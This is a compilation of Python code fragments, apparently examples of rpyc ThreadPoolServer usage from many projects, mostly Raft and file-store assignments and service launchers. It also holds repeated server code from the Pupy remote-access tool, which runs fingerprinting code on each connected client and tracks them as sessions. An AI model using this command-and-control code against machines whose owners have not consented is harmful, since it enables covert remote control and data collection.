def run_server(): print("Started.") serverLog = logging.getLogger("Main.RPyCServer") server = ThreadPoolServer( service=DbInterfaceServer, port=12345, hostname="localhost", logger=serverLog, nbThreads=6 ) server.start()
class Test_ThreadPoolServer(Test_ThreadedServer): def setUp(self): self.server = ThreadPoolServer(SlaveService, port=18878, auto_register=False) self.server.logger.quiet = False self.server._start_in_thread()
def _remote(): """ Code to execute on forked process. """ service = _create_srpo_service(obj, name, registry_path=registry_path) # set new process group protocol = dict(allow_all_attrs=True) kwargs = dict( hostname="localhost", nbThreads=server_threads, protocol_config=protocol, port=port, ) server = ThreadPoolServer(service(), **kwargs) sql_kwargs = dict( filename=server_registry.filename, tablename=server_registry.tablename, flag="c", ) # register new server registery = SqliteDict(**sql_kwargs) registery[name] = (server.host, server.port, os.getpid()) registery.commit() # get a new new view of registry, make sure name is there assert name in SqliteDict(**sql_kwargs) service._server = server server.start()
class AxonController(object): def __init__(self): self.axon_port = conf.AXON_PORT self.service = AxonService() self.protocol_config = self.service.RPYC_PROTOCOL_CONFIG self.logger = logging.getLogger(__name__) self.logger.setLevel(logging.WARN) self.axon_service = ThreadPoolServer( self.service, port=self.axon_port, reuse_addr=True, protocol_config=self.protocol_config, logger=self.logger, nbThreads=50) def start(self): try: self.service.exposed_traffic.start_servers() self.service.exposed_traffic.start_clients() except Exception: self.logger.exception("Ooops!! Exception during Traffic Start") self.axon_service.start() def stop(self): try: self.service.exposed_traffic.stop_clients() self.service.exposed_traffic.stop_servers() except Exception: self.logger.exception("Ooops!! Exception during Traffic Stop") self.axon_service.close()
def run_worker_process(self): setup_logger(self.quiet, log) if self.registry_type == "UDP": if self.registry_host is None: self.registry_host = "255.255.255.255" self.registrar = UDPRegistryClient(ip=self.registry_host, port=self.registry_port) else: if self.registry_host is None: raise ValueError( "With TCP registry, you must specify --registry-host") self.registrar = TCPRegistryClient(ip=self.registry_host, port=self.registry_port) t = ThreadPoolServer(ServiceEnvelope.SERVICE_CLASS, hostname=self.host, port=self.port, reuse_addr=True, ipv6=self.ipv6, registrar=self.registrar, auto_register=self.auto_register, nbThreads=self.max_client_count, requestBatchSize=self.max_requests_per_client, protocol_config={ 'exposed_prefix': '', 'log_exceptions': True }) t.start()
def run_server(): print("Started.") serverLog = logging.getLogger("Main.RPyCServer") server = ThreadPoolServer(service=DbInterfaceServer, port=12345, hostname='localhost', logger=serverLog, nbThreads=6) server.start()
def __init__(self, *args, **kwargs): if not "stream" in kwargs: raise ValueError("missing stream_class argument") if not "transport" in kwargs: raise ValueError("missing transport argument") self.stream_class=kwargs["stream"] self.transport_class=kwargs["transport"] del kwargs["stream"] del kwargs["transport"] ThreadPoolServer.__init__(self, *args, **kwargs)
def __init__(self): self.axon_port = conf.AXON_PORT self.service = AxonService() self.protocol_config = self.service.RPYC_PROTOCOL_CONFIG self.logger = logging.getLogger(__name__) self.logger.setLevel(logging.WARN) self.axon_service = ThreadPoolServer( self.service, port=self.axon_port, reuse_addr=True, protocol_config=self.protocol_config, logger=self.logger, nbThreads=50)
def __init__(self, *args, **kwargs): if not "stream" in kwargs: raise ValueError("missing stream_class argument") if not "transport" in kwargs: raise ValueError("missing transport argument") self.stream_class = kwargs["stream"] self.transport_class = kwargs["transport"] self.transport_kwargs = kwargs["transport_kwargs"] del kwargs["stream"] del kwargs["transport"] del kwargs["transport_kwargs"] ThreadPoolServer.__init__(self, *args, **kwargs)
def main(): # arguments parser = argparse.ArgumentParser() parser.add_argument('--pid', action='store', dest='pid', default='/var/tmp/harvester_rpc.pid', help='pid filename') parser.add_argument('--port', dest='port', type=int, default=18861, help='the TCP port to bind to') parser.add_argument('--backlog', dest='backlog', type=int, default=10, help='backlog for the port') parser.add_argument('--stdout', action='store', dest='stdout', default='/var/tmp/harvester_rpc.out', help='stdout filename') parser.add_argument('--stderr', action='store', dest='stderr', default='/var/tmp/harvester_rpc.err', help='stderr filename') options = parser.parse_args() # logger _logger = logging.getLogger('rpc_bot') setupLogger(_logger, pid=os.getpid()) # make daemon context outfile = open(options.stdout, 'a+') errfile = open(options.stderr, 'a+') dc = daemon.DaemonContext(pidfile=daemon.pidfile.PIDLockFile(options.pid), stdout=outfile, stderr=errfile) # run thread server with dc: from rpyc.utils.server import ThreadPoolServer t = ThreadPoolServer(RpcBot, port=options.port, backlog=options.backlog, logger=_logger, protocol_config={"allow_all_attrs": True}) t.start() # finalize outfile.close() errfile.close()
def run(self): self.authenticator = SSLAuthenticator( self.config.get("pupyd", "keyfile").replace("\\", os.sep).replace("/", os.sep), self.config.get("pupyd", "certfile").replace("\\", os.sep).replace("/", os.sep), ciphers="SHA256+AES256:SHA1+AES256:@STRENGTH") self.server = ThreadPoolServer(PupyService.PupyService, port=self.port, hostname=self.address, authenticator=self.authenticator) self.server.start()
def run_training(head_host, head_port, debug_out=None): """Main worker training routine (creates the Seq2SeqTrainingService and connects it to the head. @param head_host: hostname of the head @param head_port: head port number @param debug_out: path to the debugging output file (debug output discarded if None) """ # setup debugging output, if applicable if debug_out is not None: set_debug_stream(file_stream(debug_out, mode='w')) # start the server (in the background) log_info('Creating training server...') server = ThreadPoolServer(service=Seq2SeqTrainingService, nbThreads=1) server_thread = Thread(target=server.start) server_thread.start() my_host = socket.getfqdn() log_info('Worker server created at %s:%d. Connecting to head at %s:%d...' % (my_host, server.port, head_host, head_port)) # notify main about this server conn = connect(head_host, head_port, config={'allow_pickle': True}) conn.root.register_worker(my_host, server.port) conn.close() log_info('Worker is registered with the head.') # now serve until we're killed (the server thread will continue to run) server_thread.join()
def _init_server(self): """Initializes a server that registers new workers.""" registrar_class, ranker_dump_path = get_worker_registrar_for(self) n_tries = 0 self.server = None last_error = None while self.server is None and n_tries < 10: try: n_tries += 1 self.server = ThreadPoolServer(service=registrar_class, nbThreads=1, port=self.port) except socket.error as e: log_warn('Port %d in use, trying to use a higher port...' % self.port) self.port += 1 last_error = e if self.server is None: if last_error is not None: raise last_error raise Exception('Could not initialize server') self.services = set() self.free_services = deque() self.pending_requests = set() self.jobs = [] self.server_thread = Thread(target=self.server.start) self.server_thread.setDaemon(True) self.server_thread.start() self.ranker_dump_path = ranker_dump_path
def main(): x = [ ThreadPoolServer(raftnode.RaftNode('config.txt', 0), port=5001), ThreadPoolServer(raftnode.RaftNode('config.txt', 1), port=5002), ThreadPoolServer(raftnode.RaftNode('config.txt', 2), port=5003), ThreadPoolServer(raftnode.RaftNode('config.txt', 3), port=5004), ThreadPoolServer(raftnode.RaftNode('config.txt', 4), port=5005), ] server_list = [] for server in x: thread1 = threading.Thread(target=server.start) server_list.append(thread1) thread1.start() # test 1 while True: y = int(input("Leader ID: ")) print(str(rpyc.connect('localhost', 5000 + y).root.is_leader()))
def start_server(service, thread=True, host='0.0.0.0', port=18861): from rpyc.utils.server import ThreadedServer, ThreadPoolServer server = ThreadPoolServer( service, hostname=host, port=port, reuse_addr=True, auto_register=True, ) if thread: import threading server_thread = threading.Thread(target=server.start) server_thread.daemon = True server_thread.start() return (host, port) else: server.start() return (host, port)
def start_service(service_class, port=None): """ Start an rpyc service given by the provided class. Port can be overridden. :param rpyc.Service service_class: a child class of :class:`rpyc.Service`. :param int port: the port the service should listen for requests on. If it isn't provided by the caller, we we get a value from :class:`combtest.config` :return: a handle to the resulting :class:`ThreadedServer`. """ # rpyc uses logging, and we want to dump its logging somehow on errors _ensure_stderr_handler() if port is None: port = get_service_port() else: set_service_port(port) from rpyc.utils.server import ThreadPoolServer t = ThreadPoolServer(service_class, port=port) t.start() return t
class MetadataStore(rpyc.Service): """ Initialize the class using the config file provided and also initialize any datastructures you may need. """ def __init__(self, config): pass ''' ModifyFile(f,v,hl): Modifies file f so that it now contains the contents refered to by the hashlist hl. The version provided, v, must be exactly one larger than the current version that the MetadataStore maintains. As per rpyc syntax, adding the prefix 'exposed_' will expose this method as an RPC call ''' def exposed_modify_file(self, filename, version, hashlist): ''' DeleteFile(f,v): Deletes file f. Like ModifyFile(), the provided version number v must be one bigger than the most up-date-date version. As per rpyc syntax, adding the prefix 'exposed_' will expose this method as an RPC call ''' def exposed_delete_file(self, filename, version): pass ''' (v,hl) = ReadFile(f): Reads the file with filename f, returning the most up-to-date version number v, and the corresponding hashlist hl. If the file does not exist, v will be 0. As per rpyc syntax, adding the prefix 'exposed_' will expose this method as an RPC call ''' def exposed_read_file(self, filename): pass if __name__ == '__main__': from rpyc.utils.server import ThreadPoolServer server = ThreadPoolServer(MetadataStore(sys.argv[1]), port = 6000) server.start()
def run_worker(head_host, head_port, debug_out=None): # setup debugging output, if applicable if debug_out is not None: set_debug_stream(file_stream(debug_out, mode='w')) # start the server (in the background) log_info('Creating worker server...') server = ThreadPoolServer(service=RankerTrainingService, nbThreads=1) server_thread = Thread(target=server.start) server_thread.start() my_host = socket.getfqdn() log_info('Worker server created at %s:%d. Connecting to head at %s:%d...' % (my_host, server.port, head_host, head_port)) # notify main about this server conn = connect(head_host, head_port, config={'allow_pickle': True}) conn.root.register_worker(my_host, server.port) conn.close() log_info('Worker is registered with the head.') # now serve until we're killed (the server thread will continue to run) server_thread.join()
self.active_leader = leaderId # notify of valid leader return (True, self.term) # run the program if __name__ == '__main__': # ensure the number of args supplied is correct if (len(sys.argv) != 4): print("ERROR: Invalid number of params - Required : 4 - Given : " + str(len(sys.argv))) print("\tFormat: python3 raftnode.py config_file, node_id, port") exit(-1) # create an instance of our class node = RaftNode(config=sys.argv[1], node_id=int(sys.argv[2]), port=int(sys.argv[3])) print('Attempting to run server') # start a thread to run the synchronization of our server t = threading.Thread(target=run_asynch, args=(node, )) t.start() # start the threadpoolserver which waits to accept incoming rpc logging.debug('Server running') server = ThreadPoolServer(node, port=int(sys.argv[3])) server.start()
#self.logfile.seek(0) # self.logfile = open('./tmp/log' + str(self.curNode) + '.txt', 'w') # self.logfile.write('Term: {0}\nVotedFor: {1}'.format(self.currentTerm, self.votedFor)) # self.logfile.flush() threading.Thread(target = self.updateLogFile) return True else: return False elif term < self.currentTerm: return False ''' x = is_leader(): returns True or False, depending on whether this node is a leader As per rpyc syntax, adding the prefix 'exposed_' will expose this method as an RPC call CHANGE THIS METHOD TO RETURN THE APPROPRIATE RESPONSE ''' def exposed_is_leader(self): return self.currentLeader == self.curNode if __name__ == '__main__': from rpyc.utils.server import ThreadPoolServer nodeNum = sys.argv[2] port = sys.argv[3] server = ThreadPoolServer(RaftNode(sys.argv[1], nodeNum, port), port = int(port)) server.start()
def __init__(self, *args, **kwargs): ThreadPoolServer.__init__(self, *args, **kwargs)
''' def exposed_is_leader(self): return self.leader_id == self.id def read_config(self, file): config_dict = {} with open(file) as f: N = int(f.readline().split()[-1]) for i in range(N): line = f.readline() id, ip, port_num = line.split(":") id = id[4:] ip = ip.strip() port_num = int(port_num.strip()) config_dict[id] = (ip, port_num) return config_dict def exposed_say_hi(self): # flush_print(f"hello my name is {self.id}") return if __name__ == '__main__': from rpyc.utils.server import ThreadPoolServer print("flag 1", flush=True) server = ThreadPoolServer(RaftNode(argv.config, argv.node_id), port=int(argv.port)) server.start() print("flag 2", flush=True)
if term == self.term and self.voteFor == name: return self.term, True if term > self.term: self.convert_to_follower(term, False) with self._lock: self.voteFor = name self.persist(self.to_string()) return self.term, True ''' x = is_leader(): returns True or False, depending on whether this node is a leader As per rpyc syntax, addi ng the prefix 'exposed_' will expose this method as an RPC call CHANGE THIS METHOD TO RETURN THE APPROPRIATE RESPONSE ''' def exposed_is_leader(self): return self.state == 2 if __name__ == '__main__': from rpyc.utils.server import ThreadPoolServer server = ThreadPoolServer(RaftNode(sys.argv[1], sys.argv[2]), port = int(sys.argv[3])) server.start() # python raftnode.py config.txt 0 5001
if not res: res="no response from planemo test...." allres.append(res) else: with open(planemo_log, 'w') as replog: replog.write(res) res = self.run_cmd(f"tar -cvz -f {ptooldir}/{toolname}_tested.toolshed.gz --directory {pwork} {toolname}") allres.append(res) res = self.run_cmd(f"cp -r {ptooldir} /galaxy-central/tools/TFtools/") allres.append(res) for fname in os.listdir(prepdir): print('fname', fname, collection) if fname.endswith('.json'): # if this is included, the html disappears. Go figure. continue res = self.run_cmd(f"cp {prepdir}/{fname} {collection}/{fname}") self.run_rsync(f"{ptooldir}/{toolname}_tested.toolshed.gz", toolwork) self.run_rsync(f"{ptooldir}/{toolname}_tested.toolshed.gz", galtooldir) res = self.run_cmd(f"chown -R galaxy:galaxy {pwork} {pworkrep} {galtooldir} {collection}") allres.append(res) return '\n'.join([x for x in allres if len(x) > 0]) if __name__ == "__main__": logger = logging.getLogger() logging.basicConfig(level='INFO') t = ThreadPoolServer(planemo_run, port=9999, logger=logger, nbThreads=1) # single thread experiment to see if planemo/conda behave better. Many condas spoil the conga. t.start()
def setUp(self): self.server = ThreadPoolServer(SlaveService, port=18878, auto_register=False) self.server.logger.quiet = False self.server._start_in_thread()
class PupyServer(threading.Thread): def __init__(self, configFile="pupy.conf"): super(PupyServer, self).__init__() self.daemon=True self.server=None self.authenticator=None self.clients=[] self.jobs={} self.jobs_id=1 self.clients_lock=threading.Lock() self.current_id=1 self.config = configparser.ConfigParser() self.config.read(configFile) self.port=self.config.getint("pupyd","port") self.address=self.config.get("pupyd","address") self.handler=None def register_handler(self, instance): """ register the handler instance, typically a PupyCmd, and PupyWeb in the futur""" self.handler=instance def add_client(self, conn): with self.clients_lock: conn.execute(textwrap.dedent( """ import platform import getpass import uuid import sys import os import locale os_encoding = locale.getpreferredencoding() or "utf8" def get_uuid(): user=None node=None plat=None release=None version=None machine=None macaddr=None pid=None proc_arch=None proc_path=sys.executable try: user=getpass.getuser().decode(encoding=os_encoding).encode("utf8") except Exception: pass try: node=platform.node().decode(encoding=os_encoding).encode("utf8") except Exception: pass try: version=platform.platform() except Exception: pass try: plat=platform.system() except Exception: pass try: release=platform.release() except Exception: pass try: version=platform.version() except Exception: pass try: machine=platform.machine() except Exception: pass try: pid=os.getpid() except Exception: pass try: proc_arch=platform.architecture()[0] except Exception: pass try: macaddr=uuid.getnode() macaddr=':'.join(("%012X" % macaddr)[i:i+2] for i in range(0, 12, 2)) except Exception: pass return (user, node, plat, release, version, machine, macaddr, pid, proc_arch, proc_path) """)) l=conn.namespace["get_uuid"]() self.clients.append(PupyClient.PupyClient({ "id": self.current_id, "conn" : conn, "user" : l[0], "hostname" : l[1], "platform" : l[2], "release" : l[3], "version" : l[4], "os_arch" : l[5], "proc_arch" : l[8], "exec_path" : l[9], "macaddr" : l[6], "pid" : l[7], "address" : conn._conn._config['connid'].split(':')[0], }, self)) if self.handler: addr = conn.modules['pupy'].get_connect_back_host() server_ip, server_port = addr.rsplit(':', 1) client_ip, client_port = conn._conn._config['connid'].split(':') self.handler.display_srvinfo("Session {} opened ({}:{} <- {}:{})".format(self.current_id, server_ip, server_port, client_ip, client_port)) self.current_id += 1 def remove_client(self, client): with self.clients_lock: for i,c in enumerate(self.clients): if c.conn is client: if self.handler: self.handler.display_srvinfo('Session {} closed'.format(self.clients[i].desc['id'])) del self.clients[i] break def get_clients(self, search_criteria): """ return a list of clients corresponding to the search criteria. ex: platform:*win* """ #if the criteria is a simple id we return the good client try: index=int(search_criteria) for c in self.clients: if int(c.desc["id"])==index: return [c] return [] except Exception: pass l=set([]) if search_criteria=="*": return self.clients for c in self.clients: take=False for sc in search_criteria.split(): tab=sc.split(":",1) if len(tab)==2 and tab[0] in [x for x in c.desc.iterkeys()]:#if the field is specified we search for the value in this field take=True if not tab[1].lower() in str(c.desc[tab[0]]).lower(): take=False break elif len(tab)!=2:#if there is no field specified we search in every field for at least one match take=False for k,v in c.desc.iteritems(): if type(v) is unicode or type(v) is str: if tab[0].lower() in v.decode('utf8').lower(): take=True break else: if tab[0].lower() in str(v).decode('utf8').lower(): take=True break if not take: break if take: l.add(c) return list(l) def get_clients_list(self): return self.clients def list_modules(self): l=[] for loader, module_name, is_pkg in pkgutil.iter_modules(modules.__path__): module=self.get_module(module_name) l.append((module_name,module.__doc__)) return l def get_module(self, name): script_found=False for loader, module_name, is_pkg in pkgutil.iter_modules(modules.__path__): if module_name==name: script_found=True module=loader.find_module(module_name).load_module(module_name) class_name=None if hasattr(module,"__class_name__"): class_name=module.__class_name__ if not hasattr(module,class_name): logging.error("script %s has a class_name=\"%s\" global variable defined but this class does not exists in the script !"%(script_name,class_name)) if not class_name: #TODO automatically search the class name in the file pass return getattr(module,class_name) def module_parse_args(self, module_name, args): """ This method is used by the PupyCmd class to verify validity of arguments passed to a specific module """ module=self.get_module(module_name) ps=module(None,None) return ps.arg_parser.parse_args(args) def del_job(self, job_id): if job_id is not None: job_id=int(job_id) if job_id in self.jobs: del self.jobs[job_id] def add_job(self, job): job.id=self.jobs_id self.jobs[self.jobs_id]=job self.jobs_id+=1 def get_job(self, job_id): try: job_id=int(job_id) except ValueError: raise PupyModuleError("job id must be an integer !") if job_id not in self.jobs: raise PupyModuleError("%s: no such job !"%job_id) return self.jobs[job_id] def run(self): self.authenticator = SSLAuthenticator(self.config.get("pupyd","keyfile").replace("\\",os.sep).replace("/",os.sep), self.config.get("pupyd","certfile").replace("\\",os.sep).replace("/",os.sep), ciphers="SHA256+AES256:SHA1+AES256:@STRENGTH") self.server = ThreadPoolServer(PupyService.PupyService, port = self.port, hostname=self.address, authenticator=self.authenticator) self.server.start()
def run(self) : #To-Do: Might be meaningful to have debug info for start logging.debug("Invoking main thread.") from rpyc.utils.server import ThreadPoolServer thmain = ThreadPoolServer(OSSRpc, port = 20200, nbThreads = 100) thmain.start()
self.votedFor=request_id self.hasvoted==True return 1 else: return 0 def exposed_rec_heartbeats(self, heartbeat_id): self.last_update = time.time() ''' x = is_leader(): returns True or False, depending on whether this node is a leader As per rpyc syntax, adding the prefix 'exposed_' will expose this method as an RPC call CHANGE THIS METHOD TO RETURN THE APPROPRIATE RESPONSE ''' def exposed_is_leader(self): return False if __name__ == '__main__': from rpyc.utils.server import ThreadPoolServer print (sys.argv[3]) port=int(sys.argv[3]) server = ThreadPoolServer(RaftNode(sys.argv[1]), port=port ) # print ('i', server) server.start()
nodeNumStr = nodeNumLine[2:] nodeNumStr = nodeNumStr.strip() nodeNum = int(nodeNumStr) else: print("invalid config file- bad initial node count line: %s" % nodeNumLine) raise Exception("bad config file") if currNodeIndex < nodeNum: nodeDescriptions = configFile.readlines() if len(nodeDescriptions) == nodeNum: currNodeLine = nodeDescriptions[currNodeIndex] nodeTerms = currNodeLine.split(":") nodePortStr = nodeTerms[2].strip() currNodePort = int(nodePortStr) else: print( "invalid config file- wrong number of lines of node descriptions %s" % nodeNumLine) raise Exception("bad config file") else: print( "unacceptably high index %d for node system which only has %d nodes" % (currNodeIndex, nodeNum)) raise Exception("bad node index") if currNodePort > 0: server = ThreadPoolServer(RaftNode(configFileName, currNodeIndex), port=currNodePort) server.start()
self.queryTimer.cancel() self.queryTimer = None if self.leaderHost == "": print("no server connection") return #print("connecting", self.leaderHost, self.leaderPort) queryStr = 'SELECT RoomID, Type, Floor from RoomInfo where Type = 4' args = (self.leaderHost, self.leaderPort, queryStr) t = threading.Thread(target=self.connectAndQuery, args=args) t.start() def insert(self): if self.bookTimer != None: self.bookTimer.cancel() self.bookTimer = None if self.leaderHost == "": print("no server connection") return #print("connecting", self.leaderHost, self.leaderPort) inserStr = f'INSERT INTO RoomInfo (RoomID,Type,Floor) VALUES ({self.roomStartId+1}, 4, 3)' self.roomStartId += 1 args = (self.leaderHost, self.leaderPort, inserStr) t = threading.Thread(target=self.connectAndInsert, args=args) t.start() if __name__ == '__main__': from rpyc.utils.server import ThreadPoolServer client = ThreadPoolServer(Client(), port=4999) client.start()
PRINT_VERB.append("stats") PRINT_VERB.append("xstats") PRINT_VERB.append("master") [PRINT_VERB.append(b) for b in BACKBONES] printtime(("Threaded heartbeat server listening on port %d\n" "press Ctrl-C to stop\n") % RPC_PORT) FINISHED_EVENT.set() printer = Printer(goOnEvent=FINISHED_EVENT) printer.start() runner = Runner() runner.start() try: t = ThreadPoolServer(MasterService, port=RPC_PORT) t.start() except Exception, e: printtime("%s" % e) FINISHED_EVENT.clear() printtime("Master_Server killing all clients") for host in NODE_WATCHERS: NODE_WATCHERS[host].clearFinish() NODE_WATCHERS[host].clearGoOn() while len(NODE_WATCHERS): time.sleep(1) printtime("Exiting, please wait...") printer.join()
}, '/static': { 'tools.sessions.on': False, 'tools.auth_basic.on': False, 'tools.auth_digest.on': False, 'tools.auth.on': False, 'tools.staticdir.on': True, 'tools.staticdir.dir': TWISTER_PATH + '/server/static' } } while 1: # Diff RPyc port RPYC_PORT = SERVER_PORT + 10 try: RPYC_SERVER = ThreadPoolServer(CeRpycService, port=RPYC_PORT, protocol_config=CONFIG) RPYC_SERVER.logger.setLevel(30) except Exception: logCritical('Twister Server: Cannot launch the RPyc server on port `{}`!'.format(RPYC_PORT)) exit(1) # Project manager does everything PROJ = Project() PROJ.rsrv = RPYC_SERVER # CE is the XML-RPC interface CE = CeXmlRpc(PROJ) def close(): """ Close server. """ RPYC_SERVER.close() logDebug('---- RPYC CLOSED')
self.hashlist[h] = block # print(self.hashlist) """ b = get_block(h) : Retrieves a block indexed by hash value h As per rpyc syntax, adding the prefix 'exposed_' will expose this method as an RPC call """ def exposed_get_block(self, h): return self.hashlist[h] """ True/False = has_block(h) : Signals whether block indexed by h exists in the BlockStore service As per rpyc syntax, adding the prefix 'exposed_' will expose this method as an RPC call """ def exposed_has_block(self, h): return bool(self.hashlist.get(h)) if __name__ == '__main__': from rpyc.utils.server import ThreadPoolServer port = int(sys.argv[1]) server = ThreadPoolServer(BlockStore(), port=port) server.start()
PRINT_VERB.append('xstats') PRINT_VERB.append('master') [PRINT_VERB.append(b) for b in BACKBONES] printtime(('Threaded heartbeat server listening on port %d\n' 'press Ctrl-C to stop\n') % RPC_PORT) FINISHED_EVENT.set() printer = Printer(goOnEvent = FINISHED_EVENT) printer.start() runner = Runner() runner.start() try: t = ThreadPoolServer(MasterService, port = RPC_PORT) t.start() except Exception, e: printtime('%s' % e) FINISHED_EVENT.clear() printtime('Master_Server killing all clients') for host in NODE_WATCHERS: NODE_WATCHERS[host].clearFinish() NODE_WATCHERS[host].clearGoOn() while len(NODE_WATCHERS): time.sleep(1) printtime('Exiting, please wait...') printer.join()
def run(self): self.authenticator = SSLAuthenticator(self.config.get("pupyd","keyfile").replace("\\",os.sep).replace("/",os.sep), self.config.get("pupyd","certfile").replace("\\",os.sep).replace("/",os.sep), ciphers="SHA256+AES256:SHA1+AES256:@STRENGTH") self.server = ThreadPoolServer(PupyService.PupyService, port = self.port, hostname=self.address, authenticator=self.authenticator) self.server.start()
class PupyServer(threading.Thread): def __init__(self, configFile="pupy.conf"): super(PupyServer, self).__init__() self.daemon=True self.server=None self.authenticator=None self.clients=[] self.jobs={} self.jobs_id=1 self.clients_lock=threading.Lock() self.current_id=1 self.config = configparser.ConfigParser() self.config.read(configFile) self.port=self.config.getint("pupyd","port") self.address=self.config.get("pupyd","address") self.handler=None def register_handler(self, instance): """ register the handler instance, typically a PupyCmd, and PupyWeb in the futur""" self.handler=instance def add_client(self, conn): with self.clients_lock: conn.execute(textwrap.dedent( """ import platform import getpass import uuid import sys import os def get_uuid(): user=None node=None plat=None release=None version=None machine=None macaddr=None pid=None proc_arch=None proc_path=sys.executable try: user=getpass.getuser() except Exception: pass try: node=platform.node() except Exception: pass try: version=platform.platform() except Exception: pass try: plat=platform.system() except Exception: pass try: release=platform.release() except Exception: pass try: version=platform.version() except Exception: pass try: machine=platform.machine() except Exception: pass try: pid=os.getpid() except Exception: pass try: proc_arch=platform.architecture()[0] except Exception: pass try: macaddr=uuid.getnode() macaddr=':'.join(("%012X" % macaddr)[i:i+2] for i in range(0, 12, 2)) except Exception: pass return (user, node, plat, release, version, machine, macaddr, pid, proc_arch, proc_path) """)) l=conn.namespace["get_uuid"]() self.clients.append(PupyClient.PupyClient({ "id": self.current_id, "conn" : conn, "user" : l[0], "hostname" : l[1], "platform" : l[2], "release" : l[3], "version" : l[4], "os_arch" : l[5], "proc_arch" : l[8], "exec_path" : l[9], "macaddr" : l[6], "pid" : l[7], "address" : conn._conn._config['connid'].split(':')[0], }, self)) if self.handler: addr = conn.modules['pupy'].get_connect_back_host() server_ip, server_port = addr.rsplit(':', 1) client_ip, client_port = conn._conn._config['connid'].split(':') self.handler.display_srvinfo("Session {} opened ({}:{} <- {}:{})".format(self.current_id, server_ip, server_port, client_ip, client_port)) self.current_id += 1 def remove_client(self, client): with self.clients_lock: for i,c in enumerate(self.clients): if c.conn is client: if self.handler: self.handler.display_srvinfo('Session {} closed'.format(self.clients[i].desc['id'])) del self.clients[i] break def get_clients(self, search_criteria): """ return a list of clients corresponding to the search criteria. ex: platform:*win* """ #if the criteria is a simple id we return the good client try: index=int(search_criteria) for c in self.clients: if int(c.desc["id"])==index: return [c] return [] except Exception: pass l=set([]) if search_criteria=="*": return self.clients for c in self.clients: take=False for sc in search_criteria.split(): tab=sc.split(":",1) if len(tab)==2 and tab[0] in [x for x in c.desc.iterkeys()]:#if the field is specified we search for the value in this field take=True if not tab[1].lower() in str(c.desc[tab[0]]).lower(): take=False break elif len(tab)!=2:#if there is no field specified we search in every field for at least one match take=False for k,v in c.desc.iteritems(): if type(v) is unicode or type(v) is str: if tab[0].lower() in v.decode('utf8').lower(): take=True break else: if tab[0].lower() in str(v).decode('utf8').lower(): take=True break if not take: break if take: l.add(c) return list(l) def get_clients_list(self): return self.clients def list_modules(self): l=[] for loader, module_name, is_pkg in pkgutil.iter_modules(modules.__path__): module=self.get_module(module_name) l.append((module_name,module.__doc__)) return l def get_module(self, name): script_found=False for loader, module_name, is_pkg in pkgutil.iter_modules(modules.__path__): if module_name==name: script_found=True module=loader.find_module(module_name).load_module(module_name) class_name=None if hasattr(module,"__class_name__"): class_name=module.__class_name__ if not hasattr(module,class_name): logging.error("script %s has a class_name=\"%s\" global variable defined but this class does not exists in the script !"%(script_name,class_name)) if not class_name: #TODO automatically search the class name in the file pass return getattr(module,class_name) def module_parse_args(self, module_name, args): """ This method is used by the PupyCmd class to verify validity of arguments passed to a specific module """ module=self.get_module(module_name) ps=module(None,None) return ps.arg_parser.parse_args(args) def del_job(self, job_id): if job_id is not None: job_id=int(job_id) if job_id in self.jobs: del self.jobs[job_id] def add_job(self, job): job.id=self.jobs_id self.jobs[self.jobs_id]=job self.jobs_id+=1 def get_job(self, job_id): try: job_id=int(job_id) except ValueError: raise PupyModuleError("job id must be an integer !") if job_id not in self.jobs: raise PupyModuleError("%s: no such job !"%job_id) return self.jobs[job_id] def run(self): self.authenticator = SSLAuthenticator(self.config.get("pupyd","keyfile").replace("\\",os.sep).replace("/",os.sep), self.config.get("pupyd","certfile").replace("\\",os.sep).replace("/",os.sep), ciphers="SHA256+AES256:SHA1+AES256:@STRENGTH") self.server = ThreadPoolServer(PupyService.PupyService, port = self.port, hostname=self.address, authenticator=self.authenticator) self.server.start()
else: return version, str(self._filename_to_v_bl[f][1]) else: # print('version:', 0) print('version:', 0) return 0, str([]) def eprint(*args, **kwargs): """ Use eprint to print debug messages to stderr Example: - self.eprint("This is a debug message") :param args: :param kwargs: :return: """ print(*args, file=sys.stderr, **kwargs) if __name__ == '__main__': from rpyc.utils.server import ThreadPoolServer # rpyc.core.vinegar._generic_exceptions_cache['ErrorResponse'] = ErrorResponse config_filename = sys.argv[1] with open(config_filename, 'r') as config_f: port = int(config_f.readlines()[1].split(':')[2].strip()) server = ThreadPoolServer(MetadataStore(sys.argv[1]), port=port) server.start()